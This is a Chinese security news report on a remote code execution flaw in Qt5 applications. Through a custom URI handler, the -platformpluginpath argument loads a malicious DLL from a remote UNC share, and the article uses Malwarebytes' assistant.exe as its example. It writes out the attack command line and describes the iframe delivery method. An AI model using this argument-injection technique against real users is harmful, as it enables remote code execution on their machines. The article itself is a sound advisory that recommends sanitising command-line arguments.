据外媒报道,使用Qt5 GUI框架开发的应用程序易受远程代码执行漏洞影响,黑客可通过特定命令行参数配置自定义协议处理程序触发该漏洞,远程加载恶意DLL程序并执行代码。
图片来源于unsplash
很多开发人员不知道的是,使用Qt5框架将同步添加可用于修改框架工作方式的命令行参数,修改内容包括显示窗口标题、窗口大小、图标等,这些命令行参数会被传递给初始化Qt框架函数并被解析。
据悉,该特定命令行参数是platformpluginpath命令,可指定从远程UNC URL或本地文件夹加载Qt5插件。通过该命令行参数,程序可使用已输入的路径加载可扩展框架功能的特制Qt插件,当黑客在远程UNC上托管恶意DLL程序并使用该参数启动程序时,可远程执行代码。
图片来源于pexels
漏洞曝光后,ZDI研究人员Ziad Badawi以Malwarebytes为例,通过创建自定义URI处理程序,以及不正确清理其命令行参数,仅需单击网站链接便可影响基于Qt5的应用程序。
据悉,安装程序将创建一个名为“malwarebytes”的自定义URI处理程序,当用户单击“malwarebytes://www.example.com”等链接时,Windows将使用命令“assistant.exe -uri www.example.com”打开assistant.exe程序。
黑客使用自定义恶意软件URI协议作为其来源,创建或更改网页加载iframe,可使assistant.exe远程加载并执行恶意DLL程序。但是,该源URL也将使用platformpluginpath命令行参数,指向加载Qt5插件的远程UNC共享,此时使用命令“assistant.exe-platformpluginpath\\192.168.131.152\share”启动assistant.exe,即可从远程共享文件夹中加载任意插件。
图片来源于pixabay
由此可知,黑客发动类似攻击需满足3个条件,包括一个基于Qt5框架的GUI应用程序、加载Qt5插件和注册自定义URI处理程序。专家建议及时清理应用程序中的命令行参数以免被远程利用。
来源:http://u6.gg/sq6jH,“ISEC安全e站”独家编译,转载请注明出处及本文链接。